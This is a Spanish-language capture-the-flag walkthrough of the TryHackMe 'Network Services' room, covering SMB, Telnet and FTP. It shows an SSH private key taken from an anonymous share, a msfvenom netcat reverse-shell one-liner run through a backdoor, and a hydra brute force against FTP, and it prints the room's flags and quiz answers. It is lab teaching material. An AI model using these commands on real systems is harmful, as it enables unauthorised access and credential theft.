Network Services

Network Services

https://tryhackme.com/room/networkservices

Task 1: Get connected

sudo openvpn /root/Downloads/Basilisco585THM.ovpn

Task 2: Understanding SMB

  • ¿Qué significa SMB? Server Message Block
  • ¿Qué tipo de protocolo es el SMB? response-request
  • ¿Cómo se conectan los clientes a los servidores? TCP/IP
  • ¿En qué sistemas funciona Samba? Unix

Task 3: Enumerating SMB

Deploy the machine. nmap -sC -sV -A 10.10.116.16
perl enum4linux.pl -A -a 10.10.116.16

  • Realice un escaneo nmap de su elección, ¿Cuántos puertos están abiertos? 3
    139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
    445/tcp open  netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)
    
  • ¿En qué puertos funciona SMB? 139/445
    -Vamos a empezar con Enum4Linux, a realizar una enumeración básica completa. Para empezar, ¿cuál es el nombre del grupo de trabajo? WORKGROUP aunque enum4linux produce esto: SMB1 disabled -- no workgroup available en nmap se especifica el nombre del grupo de trabajo
    139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
    445/tcp open  netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)
    


  • ¿Qué aparece como nombre de la máquina? polosmb
    FROM NMAP OUTPUT Host script results: |_nbstat: NetBIOS name: POLOSMB, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown) | smb-os-discovery: | OS: Windows 6.1 (Samba 4.7.6-Ubuntu) | Computer name: polosmb | NetBIOS computer name: POLOSMB\x00 | Domain name: \x00 | FQDN: polosmb |_ System time: 2021-08-06T08:09:37+00:00
  • ¿Qué sistema operativo versión se está ejecutando? 6.1
    OS: Windows 6.1 (Samba 4.7.6-Ubuntu)
  • ¿Qué parte sobresale como algo que podríamos investigar? profiles

Task 4: Exploiting SMB

 ============( Share Enumeration on 10.10.116.16 )============
 	    Sharename       Type      Comment
        ---------       ----      -------
        netlogon        Disk      Network Logon Service
        profiles        Disk      Users profiles
        print$          Disk      Printer Drivers
        IPC$            IPC       IPC Service (polosmb server (Samba, Ubuntu))

Esa es la lista de acciones que hemos enumerado: smbclient //[IP]/[SHARE] -U [NAME] -p [PORT]

  • ¿Cuál sería la sintaxis correcta para acceder a un recurso compartido SMB llamado “secret” como usuario “suit” en una máquina con la IP 10.10.10.2 en el puerto por defecto? smbclient //10.10.10.2/secret -u suit -p 139
  • Muy bien. Ahora que ya conoces la sintaxis, vamos a intentar explotar esta vulnerabilidad. Tienes una lista de usuarios, el nombre del recurso compartido (smb) y una supuesta vulnerabilidad. no answer needed
  • ¿Permite la acción el acceso anónimo? ¿Y/N? Y
  • Muy bien. Echa un vistazo a cualquier documento interesante que pueda contener información valiosa. ¿A quién podemos suponer que pertenece esta carpeta de perfil? John Cactus
❯ smbclient //10.10.116.16/profiles -u Anonymous
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Tue Apr 21 07:08:23 2020
  ..                                  D        0  Tue Apr 21 06:49:56 2020
  .cache                             DH        0  Tue Apr 21 07:08:23 2020
  .profile                            H      807  Tue Apr 21 07:08:23 2020
  .sudo_as_admin_successful           H        0  Tue Apr 21 07:08:23 2020
  .bash_logout                        H      220  Tue Apr 21 07:08:23 2020
  .viminfo                            H      947  Tue Apr 21 07:08:23 2020
  Working From Home Information.txt      N      358  Tue Apr 21 07:08:23 2020
  .ssh                               DH        0  Tue Apr 21 07:08:23 2020
  .bashrc                             H     3771  Tue Apr 21 07:08:23 2020
  .gnupg                             DH        0  Tue Apr 21 07:08:23 2020

vemos que hay un archivo interesante, ¿podemos abrirlo con print? No, vamos a enviarlo a nuestra máquina.

smb: \> get "Working From Home Information.txt" /root/hola.txt
getting file \Working From Home Information.txt of size 358 as /root/hola.txt (2.2 KiloBytes/sec) (average 2.2 KiloBytes/sec)
-------------------------------------------------------------------------
❯ cat hola.txt
John Cactus,

As you're well aware, due to the current pandemic most of POLO inc. has insisted that, wherever 
possible, employees should work from home. As such- your account has now been enabled with ssh
access to the main server.

If there are any problems, please contact the IT department at it@polointernalcoms.uk

Regards,

James
Department Manager 
  • ¿Qué servicio se ha configurado para permitirle trabajar desde casa? ssh
  • Muy bien. Ahora que sabemos esto, ¿en qué directorio de la acción debemos buscar? .ssh
  • Este directorio contiene claves de autenticación que permiten a un usuario autenticarse en un servidor y acceder a él. ¿Cuál de estas claves es más útil para nosotros? id_rsa
    smb: \.ssh\> mget id_rsa* 
    getting file \.ssh\id_rsa of size 1679 as /root/id_rsapolosmb3 (10.2 KiloBytes/sec) (average 6.2 KiloBytes/sec)
    getting file \.ssh\id_rsa.pub of size 396 as /root/idpublica (2.5 KiloBytes/sec) (average 5.0 KiloBytes/sec)
    -------------------------------------------------------------------------
    ❯ /bin/cat idpublica
    ssh-rsa BLABLABLA --> cactus@polosmb that is the username for the ssh
    ❯ ssh cactus@10.10.116.16 -i id_rsa
    -------------------------------------------------------------------------
    cactus@polosmb:~$ cat smb.txt 
    THM{smb_is_fun_eh?}
    
  • ¿Qué es la flag smb.txt? THM{smb_is_fun_eh?}

Task 5: Understanding Telnet

  • ¿Qué es Telnet? application protocol
  • ¿Qué ha sustituido poco a poco a Telnet? ssh
  • ¿Cómo te conectarías a un servidor Telnet con la IP 10.10.10.3 en el puerto 23? telnet 10.10.10.3 23
  • ¿La falta de qué, significa que toda la comunicación Telnet está en texto plano? encryption

Task 6: Enumerating Telnet

Ejecutamos nmap

❯ nmap -sC -sV -A 10.10.17.203
Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-06 06:23 EDT
Nmap scan report for 10.10.17.203 (10.10.17.203)
Host is up (0.039s latency).
All 1000 scanned ports on 10.10.17.203 (10.10.17.203) are closed
Too many fingerprints match this host to give specific OS details
Network Distance: 2 hops

TRACEROUTE (using port 5900/tcp)
HOP RTT      ADDRESS
1   36.17 ms 10.11.0.1 (10.11.0.1)
2   36.21 ms 10.10.17.203 (10.10.17.203)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 2.98 seconds
-------------------------------------------------------------------------                                                                                          
❯ nmap -sC -sV -A 10.10.17.203 -p-
Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-06 06:23 EDT
Nmap scan report for 10.10.17.203 (10.10.17.203)
Host is up (0.038s latency).
Not shown: 65534 closed ports
PORT     STATE SERVICE VERSION
8012/tcp open  unknown
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, Help, Kerberos, LANDesk-RC, LDAPBindReq, LDAPSearchReq, LPDString, NCP, NULL, RPCCheck, RTSPRequest, SIPOptions, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServer, TerminalServerCookie, X11Probe: 
|_    SKIDY'S BACKDOOR. Type .HELP to view commands
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8012-TCP:V=7.91%I=7%D=8/6%Time=610D0DBB%P=x86_64-pc-linux-gnu%r(NUL
SF:L,2E,"SKIDY'S\x20BACKDOOR\.\x20Type\x20\.HELP\x20to\x20view\x20commands
SF:\n")%r(GenericLines,2E,"SKIDY'S\x20BACKDOOR\.\x20Type\x20\.HELP\x20to\x
SF:20view\x20commands\n")%r(GetRequest,2E,"SKIDY'S\x20BACKDOOR\.\x20Type\x

  • ¿Cuántos puertos están abiertos en la máquina de destino? 1
  • ¿Qué puerto es este? 8012
  • Este puerto no está asignado, pero todavía muestra el protocolo que está utilizando, ¿qué protocolo es este? tcp
  • Ahora vuelva a ejecutar el escaneo nmap, sin la etiqueta -p-, ¿cuántos puertos aparecen como abiertos? 0
  • Basándonos en el título que nos han devuelto, ¿para qué creemos que se podría utilizar este puerto? a backdoor
  • ¿A quién podría pertenecer? La recopilación de posibles nombres de usuario es un paso importante en la enumeración. skidy

Task 7: Exploiting Telnet

❯ telnet 10.10.17.203 8012
Trying 10.10.17.203...
Connected to 10.10.17.203.
Escape character is '^]'.
SKIDY'S BACKDOOR. Type .HELP to view commands
ls 
.HELP
.HELP: View commands
 .RUN <command>: Execute commands
.EXIT: Exit

  • Bien, ¡intentemos conectarnos a este puerto telnet! Si te quedas atascado, echa un vistazo a la sintaxis de conexión descrita anteriormente. No answer needed
  • ¡Increíble! ¡Es una conexión telnet abierta! ¿Qué mensaje de bienvenida recibimos?SKIDY'S BACKDOOR.
  • Intentemos ejecutar algunos comandos, ¿obtenemos un retorno en cualquier entrada que introduzcamos en la sesión de telnet? (Y/N) y
  • Hmm… eso es extraño. Comprobemos si lo que estamos escribiendo se está ejecutando como un comando del sistema. No answer needed .RUN ls –> no produce nada

  • Esto inicia un oyente de tcpdump, específicamente escuchando el tráfico ICMP, sobre el cual operan los pings. No answer needed
  • Ahora, utilice el comando “ping [ip local de THM] -c 1” a través de la sesión telnet para ver si somos capaces de ejecutar los comandos del sistema. ¿Recibimos algún ping? Tenga en cuenta que debe preceder a esto con (Y/N) y
    .RUN icmp -i eth0
    -------------------------------------------------------------------------
    ❯ tcpdump -i tun0
    tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
    listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
    06:36:08.801617 IP kali.53430 > 10.10.17.203.8012: Flags [P.], seq 4120330186:4120330205, ack 1028418728, win 502, options [nop,nop,TS val 851729200 ecr 2962480327], length 19
    06:36:08.838120 IP 10.10.17.203.8012 > kali.53430: Flags [.], ack 19, win 490, options [nop,nop,TS val 2962637955 ecr 851729200], length 0
    
  • Muy bien. Esto significa que somos capaces de ejecutar comandos del sistema Y que somos capaces de llegar a nuestra máquina local. ¡Ahora vamos a divertirnos un poco! No answer needed
  • ¿Con qué palabra empieza el payload generado? mkfifo
    ❯ msfvenom -p cmd/unix/reverse_netcat lhost=10.11.38.54 lport=4444 R
    [-] No platform was selected, choosing Msf::Module::Platform::Unix from the payload
    [-] No arch selected, selecting arch: cmd from the payload
    No encoder specified, outputting raw payload
    Payload size: 97 bytes
    mkfifo /tmp/xoerbw; nc 10.11.38.54 4444 0</tmp/xoerbw | /bin/sh >/tmp/xoerbw 2>&1; rm /tmp/xoerbw
    
  • ¿Qué aspecto tendría el comando para el puerto de escucha que hemos seleccionado en nuestra carga útil? nc -lvp 4444
  • Muy bien. Ahora que se está ejecutando, tenemos que copiar y pegar nuestra carga útil msfvenom en la sesión de telnet y ejecutarlo como un comando. ¡Con suerte, esto nos dará un shell en la máquina de destino! No answer needed
.RUN mkfifo /tmp/xoerbw; nc 10.11.38.54 4444 0</tmp/xoerbw | /bin/sh >/tmp/xoerbw 2>&1; rm /tmp/xoerbw
-------------------------------------------------------------------------
❯ nc -lvp 4444
listening on [any] 4444 ...
10.10.17.203: inverse host lookup failed: Unknown host
connect to [10.11.38.54] from (UNKNOWN) [10.10.17.203] 46820                               
                                             
cat flag.txt
THM{y0u_g0t_th3_t3ln3t_fl4g} 
  • Éxito. ¿Cuál es el contenido de flag.txt? THM{y0u_g0t_th3_t3ln3t_fl4g}

Task 8: Understanding FTP

  • ¿Qué modelo de comunicación utiliza el FTP? client-server
  • ¿Cuál es el puerto FTP estándar? 21
  • ¿Cuántos modos de conexión FTP existen? 2

Task 9: Enumerating FTP

❯ nmap -sC -sV -A 10.10.113.139 -p-
Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-06 06:50 EDT
Nmap scan report for 10.10.113.139 (10.10.113.139)
Host is up (0.037s latency).
Not shown: 65534 closed ports
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 2.0.8 or later
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r--    1 0        0             353 Apr 24  2020 PUBLIC_NOTICE.txt
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:10.11.38.54
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 3
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).

  • ¿Cuántos puertos están abiertos en la máquina de destino? 2 Note: seemed 1 but ok
  • ¿En qué puerto está funcionando el ftp? 21
  • ¿Qué variante de FTP se está ejecutando en él? vsftp
  • ¿Cuál es el nombre del archivo en el directorio FTP anónimo? PUBLIC_NOTICE.txt
  • ¿Cuál creemos que podría ser un posible nombre de usuario? Mike
❯ /bin/cat PUBLIC_NOTICE.txt
===================================
MESSAGE FROM SYSTEM ADMINISTRATORS
===================================

Hello,

I hope everyone is aware that the
FTP server will not be available 
over the weekend- we will be 
carrying out routine system 
maintenance. Backups will be
made to my account so I reccomend
encrypting any sensitive data.

Cheers,

Mike 
  • Muy bien. Ahora tenemos detalles sobre el servidor FTP y, sobre todo, un posible nombre de usuario. Veamos qué podemos hacer con eso… No answer needed

Task 10: Exploiting FTP

❯ hydra -t 4 -l mike -P /usr/share/wordlists/rockyou.txt -vV 10.10.113.139 ftp
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-08-06 07:00:37
[DATA] max 4 tasks per 1 server, overall 4 tasks, 14344398 login tries (l:1/p:14344398), ~3586100 tries per task
[DATA] attacking ftp://10.10.113.139:21/
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done
[ATTEMPT] target 10.10.113.139 - login "mike" - pass "123456" - 1 of 14344398 [child 0] (0/0)
[ATTEMPT] target 10.10.113.139 - login "mike" - pass "12345" - 2 of 14344398 [child 1] (0/0)
[ATTEMPT] target 10.10.113.139 - login "mike" - pass "123456789" - 3 of 14344398 [child 2] (0/0)
[ATTEMPT] target 10.10.113.139 - login "mike" - pass "password" - 4 of 14344398 [child 3] (0/0)
[21][ftp] host: 10.10.113.139   login: mike   password: password
[STATUS] attack finished for 10.10.113.139 (waiting for children to complete tests)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2021-08-06 07:00:42
  • ¿Cuál es la contraseña del usuario “mike”? password
  • ¡Bingo! Ahora, vamos a conectarnos al servidor FTP como este usuario usando “ftp [IP]” e introduciendo las credenciales cuando se nos pida No answer needed
  • ¿Qué es ftp.txt? THM{y0u_g0t_th3_ftp_fl4g}
ftp> get ftp.txt
local: ftp.txt remote: ftp.txt
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for ftp.txt (26 bytes).
226 Transfer complete.
26 bytes received in 0.00 secs (564.2361 kB/s)
-------------------------------------------------------------------------
❯ cat ftp.txt
THM{y0u_g0t_th3_ftp_fl4g}

Este artículo ha sido redactado con fines educativos. Cualquier acción derivada de este artículo que no tenga dicho fin entra en conflicto con nuestro propósito de hacer divulgación de contenido educativo, y es objeto de nuestra condena más enérgica.

KeepHowling
comments powered by Disqus